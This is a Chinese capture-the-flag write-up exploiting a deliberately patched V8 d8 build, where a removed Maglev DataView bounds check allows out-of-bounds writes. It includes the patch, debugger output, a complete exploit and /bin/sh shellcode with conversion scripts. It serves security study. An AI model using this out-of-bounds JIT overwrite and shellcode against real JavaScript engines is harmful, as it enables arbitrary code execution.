非预期
import('flag');
题目
启动命令
os.system("/home/ayoung/ctf/jqctf2025/v8/d8 --no-memory-protection-keys " + sys.argv[1])
选项--no-memory-protection-keys,实际上是关闭了一个系统级别的内存防护机制,如果没有这个关闭选项,则无法如下文exp中做法一样直接修改函数最终跳转地址处指令,即使此处内存页显示为RWX,实际发生写入的时候会抛出异常(详见[[Intel MPK(Memory Protection Keys)]])(Issue 11714 in v8: [wasm] Write-protection of generated code with PKEYs/PKU)
给了一个patch文件 删除了一些原本内置的方法,添加了两个函数
Jing()获取v8中存储 JIT 编译代码的rwx页的起始地址Qi()获取传入的ArrayBuffer中数据指针backing_store的值
并删去了 Maglev 编译器中CheckJSDataViewBounds::GenerateCode()函数中的边界检查
原本当__ subq(byte_length, Immediate(element_size - 1));即byte_length-(element_size-1)为负值,也即操作数据长度大于DataView对应元素时,触发__ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this);,抛出kOutOfBounds越界错误
Maglev是介于Ignition(解释器)和TurboFan(优化编译器),通常在函数执行一定次数后触发
当构造函数触发Maglev编译可以用DataView越界读写
diff --git a/src/d8/d8.cc b/src/d8/d8.cc index 65d716745d1..bce2e5f6dc0 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -3776,6 +3776,44 @@ void Shell::Version(const v8::FunctionCallbackInfo<v8::Value>& info) { .ToLocalChecked()); } +void Shell::Jing(const v8::FunctionCallbackInfo<v8::Value>& info) { + v8::Isolate* isolate = info.GetIsolate(); + i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate); + auto rwx_page = i_isolate->heap()->code_space()->first_page(); + + if(rwx_page != NULL) { + i::Address rwx_addr = rwx_page->area_start(); + info.GetReturnValue().Set(v8::BigInt::NewFromUnsigned(isolate, rwx_addr)); + } else { + info.GetReturnValue().Set(Undefined(isolate)); + } +} + +void Shell::Qi(const v8::FunctionCallbackInfo<v8::Value>& info) { + v8::Isolate* isolate = info.GetIsolate(); + HandleScope scope(isolate); + + if(info.Length() < 1) { + info.GetReturnValue().Set(Undefined(isolate)); + return; + } + v8::Local<v8::Value> arg = info[0]; + + if (!arg->IsArrayBuffer()) { + info.GetReturnValue().Set(Undefined(isolate)); + return; + } + v8::Local<v8::ArrayBuffer> buffer = arg.As<v8::ArrayBuffer>(); + + std::shared_ptr<v8::BackingStore> backing_store = buffer->GetBackingStore(); + void* data_ptr = backing_store->Data(); + + // 将指针转换为一个整数,以便创建 BigInt + uintptr_t address_value = reinterpret_cast<uintptr_t>(data_ptr); + v8::Local<v8::BigInt> result = v8::BigInt::NewFromUnsigned(isolate, address_value); + info.GetReturnValue().Set(result); +} + void Shell::ReportException(Isolate* isolate, Local<v8::Message> message, Local<v8::Value> exception_obj) { HandleScope handle_scope(isolate); @@ -4018,51 +4056,55 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), - String::NewFromUtf8Literal(isolate, "global")); - global_template->Set(isolate, "version", - FunctionTemplate::New(isolate, Version)); + global_template->Set(isolate, "Jing", + FunctionTemplate::New(isolate, Jing)); + global_template->Set(isolate, "Qi", + FunctionTemplate::New(isolate, Qi)); +// global_template->Set(Symbol::GetToStringTag(isolate), +// String::NewFromUtf8Literal(isolate, "global")); +// global_template->Set(isolate, "version", +// FunctionTemplate::New(isolate, Version)); global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print)); - global_template->Set(isolate, "printErr", - FunctionTemplate::New(isolate, PrintErr)); - global_template->Set(isolate, "write", - FunctionTemplate::New(isolate, WriteStdout)); - if (!i::v8_flags.fuzzing) { - global_template->Set(isolate, "writeFile", - FunctionTemplate::New(isolate, WriteFile)); - } - global_template->Set(isolate, "read", - FunctionTemplate::New(isolate, ReadFile)); - global_template->Set(isolate, "readbuffer", - FunctionTemplate::New(isolate, ReadBuffer)); - global_template->Set(isolate, "readline", - FunctionTemplate::New(isolate, ReadLine)); - global_template->Set(isolate, "load", - FunctionTemplate::New(isolate, ExecuteFile)); - global_template->Set(isolate, "setTimeout", - FunctionTemplate::New(isolate, SetTimeout)); - // Some Emscripten-generated code tries to call 'quit', which in turn would - // call C's exit(). This would lead to memory leaks, because there is no way - // we can terminate cleanly then, so we need a way to hide 'quit'. - if (!options.omit_quit) { - global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); - } - global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); - global_template->Set(isolate, "performance", - Shell::CreatePerformanceTemplate(isolate)); - global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); - - // Prevent fuzzers from creating side effects. - if (!i::v8_flags.fuzzing) { - global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); - } - global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); - - if (i::v8_flags.expose_async_hooks) { - global_template->Set(isolate, "async_hooks", - Shell::CreateAsyncHookTemplate(isolate)); - } +// global_template->Set(isolate, "printErr", +// FunctionTemplate::New(isolate, PrintErr)); +// global_template->Set(isolate, "write", +// FunctionTemplate::New(isolate, WriteStdout)); +// if (!i::v8_flags.fuzzing) { +// global_template->Set(isolate, "writeFile", +// FunctionTemplate::New(isolate, WriteFile)); +// } +// global_template->Set(isolate, "read", +// FunctionTemplate::New(isolate, ReadFile)); +// global_template->Set(isolate, "readbuffer", +// FunctionTemplate::New(isolate, ReadBuffer)); +// global_template->Set(isolate, "readline", +// FunctionTemplate::New(isolate, ReadLine)); +// global_template->Set(isolate, "load", +// FunctionTemplate::New(isolate, ExecuteFile)); +// global_template->Set(isolate, "setTimeout", +// FunctionTemplate::New(isolate, SetTimeout)); +// // Some Emscripten-generated code tries to call 'quit', which in turn would +// // call C's exit(). This would lead to memory leaks, because there is no way +// // we can terminate cleanly then, so we need a way to hide 'quit'. +// if (!options.omit_quit) { +// global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); +// } +// global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); +// global_template->Set(isolate, "performance", +// Shell::CreatePerformanceTemplate(isolate)); +// global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); + +// // Prevent fuzzers from creating side effects. +// if (!i::v8_flags.fuzzing) { +// global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); +// } +// global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); + +// if (i::v8_flags.expose_async_hooks) { +// global_template->Set(isolate, "async_hooks", +// Shell::CreateAsyncHookTemplate(isolate)); +// } return global_template; } diff --git a/src/d8/d8.h b/src/d8/d8.h index 94dcfb5a23d..4721121688d 100644 --- a/src/d8/d8.h +++ b/src/d8/d8.h @@ -657,6 +657,8 @@ class Shell : public i::AllStatic { static void ScheduleTermination( const v8::FunctionCallbackInfo<v8::Value>& info); static void Version(const v8::FunctionCallbackInfo<v8::Value>& info); + static void Jing(const v8::FunctionCallbackInfo<v8::Value>& info); + static void Qi(const v8::FunctionCallbackInfo<v8::Value>& info); static void WriteFile(const v8::FunctionCallbackInfo<v8::Value>& info); static void ReadFile(const v8::FunctionCallbackInfo<v8::Value>& info); static void CreateWasmMemoryMapDescriptor( diff --git a/src/maglev/x64/maglev-ir-x64.cc b/src/maglev/x64/maglev-ir-x64.cc index ef1f9937105..4f3bbe6756f 100644 --- a/src/maglev/x64/maglev-ir-x64.cc +++ b/src/maglev/x64/maglev-ir-x64.cc @@ -113,7 +113,7 @@ void CheckJSDataViewBounds::GenerateCode(MaglevAssembler* masm, int element_size = compiler::ExternalArrayElementSize(element_type_); if (element_size > 1) { __ subq(byte_length, Immediate(element_size - 1)); - __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this); +// __ EmitEagerDeoptIf(negative, DeoptimizeReason::kOutOfBounds, this); } __ cmpl(index, byte_length); __ EmitEagerDeoptIf(above_equal, DeoptimizeReason::kOutOfBounds, this);
解题
用下面代码强制触发 JIT 编译来初始化代码空间
// 1. 创建需要优化的大量函数 const functions = []; for (let i = 0; i < 1000; i++) { functions.push(new Function(`return ${i} * 2`)); } // 2. 触发优化编译(加热函数) for (let i = 0; i < 100000; i++) { functions[i % functions.length](); }
前面提到,Maglev编译需要函数执行一定次数后才能触发 即先创建一个不会越界的 arrybuffer 多次循环写入操作,之后再对小的 arraybuffer 进行越界写操作(setFloat64)就能够通过Maglev编译,绕过边界检查
最后漏洞利用思路即通过越界覆写内存中JIT代码,其在的rwx页面地址可以通过题目提供的接口获得,之后通过DebugPrint打印functions[0]调试信息
其中code: 0x19d2002002a9 <Code BASELINE>即指示对应jit代码的位置
DebugPrint: 0x19d2001d66e9: [Function] in OldSpace - map: 0x19d200043595 <Map[32](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x19d2000436c1 <JSFunction (sfi = 0x19d200041a5d)> - elements: 0x19d2000007bd <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: - initial_map: - shared_info: 0x19d200059911 <SharedFunctionInfo> - name: 0x19d200000049 <String[0]: #> - formal_parameter_count: 1 - kind: NormalFunction - context: 0x19d200042ea9 <NativeContext[301]> - code: 0x19d2002002a9 <Code BASELINE> - dispatch_handle: 0x12e500 - source code: ( ) { return 0 * 2 }
查看对应内存 可以找到对应代码地址(可以通过for循环延时挂调试jit代码执行)

另外可以通过 job 查看code信息,instruction_start即指令开始地址
pwndbg> job 0x23f8002c009d 0x23f8002c009d: [Code] - map: 0x23f800000d61 <Map[64](CODE_TYPE)> - kind: MAGLEV - deoptimization_data_or_interpreter_data: 0x23f8002c0011 <Other heap object (PROTECTED_FIXED_ARRAY_TYPE)> - position_table: 0x23f800180011 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)> - instruction_stream: 0x5789c8ac0031 <InstructionStream MAGLEV> - instruction_start: 0x5789c8ac0040 - is_turbofanned: 0 - stack_slots: 5 - marked_for_deoptimization: 0 - embedded_objects_cleared: 0 - can_have_weak_objects: 1 - instruction_size: 152 - metadata_size: 24 - inlined_bytecode_size: 0 - osr_offset: -1 - handler_table_offset: 24 - unwinding_info_offset: 24 - code_comments_offset: 24 - instruction_stream.relocation_info: 0x23f8002c0089 <Other heap object (TRUSTED_BYTE_ARRAY_TYPE)> - instruction_stream.body_size: 176 --- Disassembly: --- ...
最后就是计算偏移,越界通过浮点数覆盖rwx处代码,最后调用functions[0]()触发执行
这里的偏移会因为代码变化而小范围变化,因为最后要把调试用的指令都去掉,需要小范围手动爆破一下
linux可用shellcode
//Linux x64 var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ];
将字节码转为 js 大整数数组脚本
from pwn import * context.arch = 'amd64' context.os = 'linux' shellcode = shellcraft.sh() output = asm(shellcode) print(f"Shellcode 长度: {len(output)} 字节") if len(output) % 8 != 0: padding = 8 - (len(output) % 8) output += b'\x00' * padding print(f"已填充 {padding} 字节,总长度: {len(output)} 字节") bigint_array = [] for i in range(0, len(output), 8): chunk = output[i:i+8] value = int.from_bytes(chunk, 'little') bigint_array.append(f"{value}n") js_array = "var shellcode = [\n " + ",\n ".join(bigint_array) + "\n];" print("\nJavaScript BigInt 数组格式:") print(js_array)
将大整数数组转为浮点数数组脚本
function convertToFloat64(bigIntArray) { // 创建足够大的 ArrayBuffer(每个元素需要 8 字节) const buffer = new ArrayBuffer(bigIntArray.length * 8); // 使用 BigUint64Array 写入原始 BigInt 数据(确保无符号解释) const bigIntView = new BigUint64Array(buffer); bigIntArray.forEach((value, index) => { bigIntView[index] = value; }); // 创建 Float64Array 视图读取相同的缓冲区 return new Float64Array(buffer); } // 测试数据 var shellcode = [ 0x9090909090909090n, 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; // 生成 Float64 数组 const float64Array = convertToFloat64(shellcode); console.log(float64Array);
exp
const largeBuffer = new ArrayBuffer(0x100000000); const largeView = new DataView(largeBuffer); // 生成超短ArrayBuffer用于触发漏洞 (长度=1) const smallBuffer = new ArrayBuffer(1); const smallView = new DataView(smallBuffer); const bufPtr = Qi(smallBuffer); print("Buffer pointer:", '0x'+bufPtr.toString(16)); // 1. 创建需要优化的大量函数 const functions = []; for (let i = 0; i < 1000; i++) { functions.push(new Function(`return ${i} * 2`)); } // 2. 触发优化编译(加热函数) for (let i = 0; i < 100000; i++) { functions[i % functions.length](); } const rwxAddr = Jing(); print("RWX address:", '0x'+rwxAddr.toString(16)); print("offset:", (rwxAddr-bufPtr).toString(16)); print(typeof rwxAddr, typeof bufPtr); var shellcode = [ -6.828527034422786e-229,9.203763987562782e-79,6.375092797421955e+93,2.6368626227639178e-284 ]; function trigger(dataView, idx, val) { dataView.setFloat64(idx, val, true); } // 使用大缓冲区训练写入操作 for (let i = 0; i < 0x1000000; i++) { trigger(largeView, Number(rwxAddr-bufPtr)+0x1090, 156842099844.51764); } try { for (let i = 0; i < shellcode.length; i++) { trigger(smallView, Number(rwxAddr-bufPtr)+0xf10 + i*8, shellcode[i]); } functions[0](); } catch (e) { console.log("漏洞触发失败:", e.message); }
